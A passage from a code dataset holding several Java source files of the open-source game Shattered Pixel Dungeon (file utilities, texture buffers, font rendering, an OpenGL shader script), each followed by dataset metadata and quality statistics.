&& file.delete(); } // Directories public static boolean dirExists( String name ){ File dir = new File(Game.instance.getFilesDir(), name); return dir.exists() && dir.isDirectory(); } //base directory public static File getDir( String name ){ return getDir( Game.instance.getFilesDir(), name); } public static File getDir( File base, String name ){ File dir = new File(base, name); if (!dir.exists() && dir.mkdirs()){ return dir; } else if (dir.isDirectory()){ return dir; } return null; } public static boolean deleteDir( String name ){ return deleteDir(getDir(name)); } public static boolean deleteDir( File dir ){ if (dir == null || !dir.isDirectory()){ return false; } for (File f : dir.listFiles()){ if (f.isDirectory()){ if (!deleteDir(f)) return false; } else { if (!deleteFile(f)) return false; } } return dir.delete(); } // bundle reading //only works for base path public static Bundle bundleFromFile( String fileName ) throws IOException{ return bundleFromStream(Game.instance.openFileInput( fileName )); } public static Bundle bundleFromFile( File file ) throws IOException{ return bundleFromStream(new FileInputStream(file)); } private static Bundle bundleFromStream( InputStream input ) throws IOException{ Bundle bundle = Bundle.read( input ); input.close(); return bundle; } // bundle writing //only works for base path public static void bundleToFile( String fileName, Bundle bundle ) throws IOException{ bundleToStream( Game.instance.openFileOutput( fileName ), bundle); } public static void bundleToFile( File file, Bundle bundle ) throws IOException{ bundleToStream( new FileOutputStream(file), bundle); } private static void bundleToStream( OutputStream output, Bundle bundle ) throws IOException{ Bundle.write( bundle, output ); output.close(); } }
3,579
FileUtils
java
en
java
code
{"qsc_code_num_words": 447, "qsc_code_num_chars": 3579.0, "qsc_code_mean_word_length": 5.67337808, "qsc_code_frac_words_unique": 0.32214765, "qsc_code_frac_chars_top_2grams": 0.06624606, "qsc_code_frac_chars_top_3grams": 0.02839117, "qsc_code_frac_chars_top_4grams": 0.04258675, "qsc_code_frac_chars_dupe_5grams": 0.22712934, "qsc_code_frac_chars_dupe_6grams": 0.14589905, "qsc_code_frac_chars_dupe_7grams": 0.09069401, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00584393, "qsc_code_frac_chars_whitespace": 0.18720313, "qsc_code_size_file_byte": 3579.0, "qsc_code_num_lines": 140.0, "qsc_code_num_chars_line_max": 94.0, "qsc_code_num_chars_line_mean": 25.56428571, "qsc_code_frac_chars_alphabet": 0.86593331, "qsc_code_frac_chars_comments": 0.25286393, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.04819277, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.25301205, "qsc_codejava_score_lines_no_logic": 0.43373494, "qsc_codejava_frac_words_no_modifier": 0.72727273, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 1, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/gltextures/BufferTexture.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.gltextures; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.graphics.GL20; import com.watabou.glwrap.Texture; import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.nio.IntBuffer; //provides a native intbuffer implementation because android.graphics.bitmap is too slow public class BufferTexture extends SmartTexture { public IntBuffer pixels; public BufferTexture(int w, int h) { super(); width = w; height = h; pixels = ByteBuffer. allocateDirect( w * h * 4 ). order( ByteOrder.nativeOrder() ). asIntBuffer(); } @Override protected void generate() { id = Gdx.gl.glGenTexture(); } @Override public void reload() { super.reload(); update(); } public void update(){ bind(); filter( Texture.LINEAR, Texture.LINEAR ); wrap( Texture.CLAMP, Texture.CLAMP); pixels.position(0); Gdx.gl.glTexImage2D( GL20.GL_TEXTURE_2D, 0, GL20.GL_RGBA, width, height, 0, GL20.GL_RGBA, GL20.GL_UNSIGNED_BYTE, pixels ); } //allows partially updating the texture public void update(int top, int bottom){ bind(); filter( Texture.LINEAR, Texture.LINEAR ); wrap( Texture.CLAMP, Texture.CLAMP); pixels.position(top*width); Gdx.gl.glTexSubImage2D(GL20.GL_TEXTURE_2D, 0, 0, top, width, bottom - top, GL20.GL_RGBA, GL20.GL_UNSIGNED_BYTE, pixels); } }
2,181
BufferTexture
java
en
java
code
{"qsc_code_num_words": 296, "qsc_code_num_chars": 2181.0, "qsc_code_mean_word_length": 5.12837838, "qsc_code_frac_words_unique": 0.48986486, "qsc_code_frac_chars_top_2grams": 0.02766798, "qsc_code_frac_chars_top_3grams": 0.0256917, "qsc_code_frac_chars_top_4grams": 0.03754941, "qsc_code_frac_chars_dupe_5grams": 0.2226614, "qsc_code_frac_chars_dupe_6grams": 0.18445323, "qsc_code_frac_chars_dupe_7grams": 0.14756258, "qsc_code_frac_chars_dupe_8grams": 0.14756258, "qsc_code_frac_chars_dupe_9grams": 0.1027668, "qsc_code_frac_chars_dupe_10grams": 0.1027668, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02462772, "qsc_code_frac_chars_whitespace": 0.19944979, "qsc_code_size_file_byte": 2181.0, "qsc_code_num_lines": 91.0, "qsc_code_num_chars_line_max": 89.0, "qsc_code_num_chars_line_mean": 23.96703297, "qsc_code_frac_chars_alphabet": 0.84478809, "qsc_code_frac_chars_comments": 0.41632279, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.3559322, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.06779661, "qsc_codejava_score_lines_no_logic": 0.20338983, "qsc_codejava_frac_words_no_modifier": 0.8, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/PseudoPixel.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.watabou.gltextures.TextureCache; public class PseudoPixel extends Image { public PseudoPixel() { super( TextureCache.createSolid( 0xFFFFFFFF ) ); } public PseudoPixel( float x, float y, int color ) { this(); this.x = x; this.y = y; color( color ); } public void size( float w, float h ) { scale.set( w, h ); } public void size( float value ) { scale.set( value ); } }
1,225
PseudoPixel
java
en
java
code
{"qsc_code_num_words": 177, "qsc_code_num_chars": 1225.0, "qsc_code_mean_word_length": 4.86440678, "qsc_code_frac_words_unique": 0.58757062, "qsc_code_frac_chars_top_2grams": 0.03832753, "qsc_code_frac_chars_top_3grams": 0.04529617, "qsc_code_frac_chars_top_4grams": 0.06620209, "qsc_code_frac_chars_dupe_5grams": 0.0952381, "qsc_code_frac_chars_dupe_6grams": 0.06504065, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01863354, "qsc_code_frac_chars_whitespace": 0.21142857, "qsc_code_size_file_byte": 1225.0, "qsc_code_num_lines": 48.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 25.52083333, "qsc_code_frac_chars_alphabet": 0.87267081, "qsc_code_frac_chars_comments": 0.63755102, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.02252252, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 1.0, "qsc_codejava_frac_lines_func_ratio": 0.10526316, "qsc_codejava_score_lines_no_logic": 0.21052632, "qsc_codejava_frac_words_no_modifier": 0.66666667, "qsc_codejava_frac_words_legal_var_name": null, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 1, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/RenderedText.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.graphics.Color; import com.badlogic.gdx.graphics.Pixmap; import com.badlogic.gdx.graphics.Texture; import com.badlogic.gdx.graphics.g2d.Batch; import com.badlogic.gdx.graphics.g2d.BitmapFont; import com.badlogic.gdx.graphics.g2d.GlyphLayout; import com.badlogic.gdx.graphics.g2d.PixmapPacker; import com.badlogic.gdx.graphics.g2d.TextureRegion; import com.badlogic.gdx.graphics.g2d.freetype.FreeTypeFontGenerator; import com.badlogic.gdx.graphics.glutils.ShaderProgram; import com.badlogic.gdx.math.Affine2; import com.badlogic.gdx.math.Matrix4; import com.watabou.glwrap.Matrix; import com.watabou.glwrap.Quad; import java.nio.FloatBuffer; import java.util.HashMap; public class RenderedText extends Image { private BitmapFont font = null; private int size; private String text; public RenderedText( ) { text = null; } public RenderedText( int size ){ text = null; this.size = size; } public RenderedText(String text, int size){ this.text = text; this.size = size; measure(); } public void text( String text ){ this.text = text; measure(); } public String text(){ return text; } public void size( int size ){ this.size = size; measure(); } private static FreeTypeFontGenerator basicFontGenerator; private static HashMap<Integer, BitmapFont> basicFonts = new HashMap<>(); private static PixmapPacker packer; private BitmapFont getFont(int size){ if (basicFontGenerator == null) { packer = new PixmapPacker(1024, 1024, Pixmap.Format.RGBA8888, 1, false); basicFontGenerator = new FreeTypeFontGenerator(Gdx.files.internal("pixel_font.ttf")); } if (!basicFonts.containsKey(size)){ FreeTypeFontGenerator.FreeTypeFontParameter parameters = new FreeTypeFontGenerator.FreeTypeFontParameter(); parameters.size = size; parameters.flip = true; parameters.borderWidth = parameters.size / 10f; parameters.renderCount = 3; parameters.hinting = FreeTypeFontGenerator.Hinting.None; parameters.spaceX = -(int) parameters.borderWidth; parameters.incremental = true; parameters.characters = "�etaoinshrdl"; parameters.packer = packer; try { BitmapFont font = basicFontGenerator.generateFont(parameters); font.getData().missingGlyph = font.getData().getGlyph('�'); basicFonts.put(size, font); } catch ( Exception e ){ Game.reportException(e); return null; } } return basicFonts.get(size); } private synchronized void measure(){ if (Thread.currentThread().getName().equals("SHPD Actor Thread")){ throw new RuntimeException("Text measured from the actor thread!"); } if ( text == null || text.equals("") ) { text = ""; width=height=0; visible = false; return; } else { visible = true; } font = getFont(size); if (font != null){ GlyphLayout glyphs = new GlyphLayout( font, text); for (char c : text.toCharArray()) { BitmapFont.Glyph g = font.getData().getGlyph(c); if (g == null || (g.id != c)){ Game.reportException(new Throwable("font file " + font.toString() + " could not render " + c)); } } //We use the xadvance of the last glyph in some cases to fix issues // with fullwidth punctuation marks in some asian scripts BitmapFont.Glyph lastGlyph = font.getData().getGlyph(text.charAt(text.length()-1)); if (lastGlyph != null && lastGlyph.xadvance > lastGlyph.width*1.5f){ width = glyphs.width - lastGlyph.width + lastGlyph.xadvance; } else { width = glyphs.width; } //this is identical to l.height in most cases, but we force this for consistency. height = Math.round(size*0.75f); renderedHeight = glyphs.height; } } private float renderedHeight = 0; @Override protected void updateMatrix() { super.updateMatrix(); //sometimes the font is rendered oddly, so we offset here to put it in the correct spot if (renderedHeight != height) { Matrix.translate(matrix, 0, Math.round(height - renderedHeight)); } } private static TextRenderBatch textRenderer = new TextRenderBatch(); @Override public synchronized void draw() { if (font != null) { updateMatrix(); TextRenderBatch.textBeingRendered = this; font.draw(textRenderer, text, 0, 0); } } //implements regular PD rendering within a LibGDX batch so that our rendering logic //can interface with the freetype font generator private static class TextRenderBatch implements Batch { //this isn't as good as only updating once, like with bitmaptext // but it skips almost all allocations, which is almost as good private static RenderedText textBeingRendered = null; private static float[] vertices = new float[16]; private static HashMap<Integer, FloatBuffer> buffers = new HashMap<>(); @Override public void draw(Texture texture, float[] spriteVertices, int offset, int count) { Visual v = textBeingRendered; FloatBuffer toOpenGL; if (buffers.containsKey(count/20)){ toOpenGL = buffers.get(count/20); toOpenGL.position(0); } else { toOpenGL = Quad.createSet(count / 20); buffers.put(count/20, toOpenGL); } for (int i = 0; i < count; i += 20){ vertices[0] = spriteVertices[i+0]; vertices[1] = spriteVertices[i+1]; vertices[2] = spriteVertices[i+3]; vertices[3] = spriteVertices[i+4]; vertices[4] = spriteVertices[i+5]; vertices[5] = spriteVertices[i+6]; vertices[6] = spriteVertices[i+8]; vertices[7] = spriteVertices[i+9]; vertices[8] = spriteVertices[i+10]; vertices[9] = spriteVertices[i+11]; vertices[10] = spriteVertices[i+13]; vertices[11] = spriteVertices[i+14]; vertices[12] = spriteVertices[i+15]; vertices[13] = spriteVertices[i+16]; vertices[14] = spriteVertices[i+18]; vertices[15] = spriteVertices[i+19]; toOpenGL.put(vertices); } toOpenGL.position(0); NoosaScript script = NoosaScript.get(); texture.bind(); com.watabou.glwrap.Texture.clear(); script.camera( v.camera() ); script.uModel.valueM4( v.matrix ); script.lighting( v.rm, v.gm, v.bm, v.am, v.ra, v.ga, v.ba, v.aa ); script.drawQuadSet( toOpenGL, count/20 ); } //none of these functions are needed, so they are stubbed @Override public void begin() { } public void end() { } public void setColor(Color tint) { } public void setColor(float r, float g, float b, float a) { } public Color getColor() { return null; } public void setPackedColor(float packedColor) { } public float getPackedColor() { return 0; } public void draw(Texture texture, float x, float y, float originX, float originY, float width, float height, float scaleX, float scaleY, float rotation, int srcX, int srcY, int srcWidth, int srcHeight, boolean flipX, boolean flipY) { } public void draw(Texture texture, float x, float y, float width, float height, int srcX, int srcY, int srcWidth, int srcHeight, boolean flipX, boolean flipY) { } public void draw(Texture texture, float x, float y, int srcX, int srcY, int srcWidth, int srcHeight) { } public void draw(Texture texture, float x, float y, float width, float height, float u, float v, float u2, float v2) { } public void draw(Texture texture, float x, float y) { } public void draw(Texture texture, float x, float y, float width, float height) { } public void draw(TextureRegion region, float x, float y) { } public void draw(TextureRegion region, float x, float y, float width, float height) { } public void draw(TextureRegion region, float x, float y, float originX, float originY, float width, float height, float scaleX, float scaleY, float rotation) { } public void draw(TextureRegion region, float x, float y, float originX, float originY, float width, float height, float scaleX, float scaleY, float rotation, boolean clockwise) { } public void draw(TextureRegion region, float width, float height, Affine2 transform) { } public void flush() { } public void disableBlending() { } public void enableBlending() { } public void setBlendFunction(int srcFunc, int dstFunc) { } public void setBlendFunctionSeparate(int srcFuncColor, int dstFuncColor, int srcFuncAlpha, int dstFuncAlpha) { } public int getBlendSrcFunc() { return 0; } public int getBlendDstFunc() { return 0; } public int getBlendSrcFuncAlpha() { return 0; } public int getBlendDstFuncAlpha() { return 0; } public Matrix4 getProjectionMatrix() { return null; } public Matrix4 getTransformMatrix() { return null; } public void setProjectionMatrix(Matrix4 projection) { } public void setTransformMatrix(Matrix4 transform) { } public void setShader(ShaderProgram shader) { } public ShaderProgram getShader() { return null; } public boolean isBlendingEnabled() { return false; } public boolean isDrawing() { return false; } public void dispose() { } } }
9,754
RenderedText
java
en
java
code
{"qsc_code_num_words": 1211, "qsc_code_num_chars": 9754.0, "qsc_code_mean_word_length": 5.65565648, "qsc_code_frac_words_unique": 0.30222956, "qsc_code_frac_chars_top_2grams": 0.04088188, "qsc_code_frac_chars_top_3grams": 0.03226748, "qsc_code_frac_chars_top_4grams": 0.03796175, "qsc_code_frac_chars_dupe_5grams": 0.20543145, "qsc_code_frac_chars_dupe_6grams": 0.17754417, "qsc_code_frac_chars_dupe_7grams": 0.13184406, "qsc_code_frac_chars_dupe_8grams": 0.13184406, "qsc_code_frac_chars_dupe_9grams": 0.12644182, "qsc_code_frac_chars_dupe_10grams": 0.12060155, "qsc_code_frac_chars_replacement_symbols": 0.00020504, "qsc_code_frac_chars_digital": 0.01618205, "qsc_code_frac_chars_whitespace": 0.18905065, "qsc_code_size_file_byte": 9754.0, "qsc_code_num_lines": 289.0, "qsc_code_num_chars_line_max": 238.0, "qsc_code_num_chars_line_mean": 33.75086505, "qsc_code_frac_chars_alphabet": 0.8494311, "qsc_code_frac_chars_comments": 0.14219807, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.10144928, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01290785, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.20289855, "qsc_codejava_score_lines_no_logic": 0.32850242, "qsc_codejava_frac_words_no_modifier": 0.97674419, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 1, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/NoosaScript.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.graphics.GL20; import com.watabou.glscripts.Script; import com.watabou.glwrap.Attribute; import com.watabou.glwrap.Quad; import com.watabou.glwrap.Uniform; import com.watabou.glwrap.Vertexbuffer; import java.nio.FloatBuffer; import java.nio.ShortBuffer; public class NoosaScript extends Script { public Uniform uCamera; public Uniform uModel; public Uniform uTex; public Uniform uColorM; public Uniform uColorA; public Attribute aXY; public Attribute aUV; private Camera lastCamera; public NoosaScript() { super(); compile( shader() ); uCamera = uniform( "uCamera" ); uModel = uniform( "uModel" ); uTex = uniform( "uTex" ); uColorM = uniform( "uColorM" ); uColorA = uniform( "uColorA" ); aXY = attribute( "aXYZW" ); aUV = attribute( "aUV" ); Quad.setupIndices(); Quad.bindIndices(); } @Override public void use() { super.use(); aXY.enable(); aUV.enable(); } public void drawElements( FloatBuffer vertices, ShortBuffer indices, int size ) { vertices.position( 0 ); aXY.vertexPointer( 2, 4, vertices ); vertices.position( 2 ); aUV.vertexPointer( 2, 4, vertices ); Quad.releaseIndices(); Gdx.gl.glDrawElements( GL20.GL_TRIANGLES, size, GL20.GL_UNSIGNED_SHORT, indices ); Quad.bindIndices(); } public void drawQuad( FloatBuffer vertices ) { vertices.position( 0 ); aXY.vertexPointer( 2, 4, vertices ); vertices.position( 2 ); aUV.vertexPointer( 2, 4, vertices ); Gdx.gl.glDrawElements( GL20.GL_TRIANGLES, Quad.SIZE, GL20.GL_UNSIGNED_SHORT, 0 ); } public void drawQuad( Vertexbuffer buffer ) { buffer.updateGLData(); buffer.bind(); aXY.vertexBuffer( 2, 4, 0 ); aUV.vertexBuffer( 2, 4, 2 ); buffer.release(); Gdx.gl.glDrawElements( GL20.GL_TRIANGLES, Quad.SIZE, GL20.GL_UNSIGNED_SHORT, 0 ); } public void drawQuadSet( FloatBuffer vertices, int size ) { if (size == 0) { return; } vertices.position( 0 ); aXY.vertexPointer( 2, 4, vertices ); vertices.position( 2 ); aUV.vertexPointer( 2, 4, vertices ); Gdx.gl.glDrawElements( GL20.GL_TRIANGLES, Quad.SIZE * size, GL20.GL_UNSIGNED_SHORT, 0 ); } public void drawQuadSet( Vertexbuffer buffer, int length, int offset ){ if (length == 0) { return; } buffer.updateGLData(); buffer.bind(); aXY.vertexBuffer( 2, 4, 0 ); aUV.vertexBuffer( 2, 4, 2 ); buffer.release(); Gdx.gl.glDrawElements( GL20.GL_TRIANGLES, Quad.SIZE * length, GL20.GL_UNSIGNED_SHORT, Quad.SIZE * Short.SIZE/8 * offset ); } public void lighting( float rm, float gm, float bm, float am, float ra, float ga, float ba, float aa ) { uColorM.value4f( rm, gm, bm, am ); uColorA.value4f( ra, ga, ba, aa ); } public void resetCamera() { lastCamera = null; } public void camera( Camera camera ) { if (camera == null) { camera = Camera.main; } if (camera != lastCamera && camera.matrix != null) { lastCamera = camera; uCamera.valueM4( camera.matrix ); if (!camera.fullScreen) { Gdx.gl.glEnable( GL20.GL_SCISSOR_TEST ); Gdx.gl.glScissor( camera.x, Game.height - camera.screenHeight - camera.y, camera.screenWidth, camera.screenHeight); } else { Gdx.gl.glDisable( GL20.GL_SCISSOR_TEST ); } } } public static NoosaScript get() { return Script.use( NoosaScript.class ); } protected String shader() { return SHADER; } private static final String SHADER = "uniform mat4 uCamera;" + "uniform mat4 uModel;" + "attribute vec4 aXYZW;" + "attribute vec2 aUV;" + "varying vec2 vUV;" + "void main() {" + " gl_Position = uCamera * uModel * aXYZW;" + " vUV = aUV;" + "}" + "//\n" + //preprocessor directives let us define precision on GLES platforms, and ignore it elsewhere "#ifdef GL_ES\n" + "precision lowp float;\n" + "#endif\n" + "varying vec2 vUV;" + "uniform sampler2D uTex;" + "uniform vec4 uColorM;" + "uniform vec4 uColorA;" + "void main() 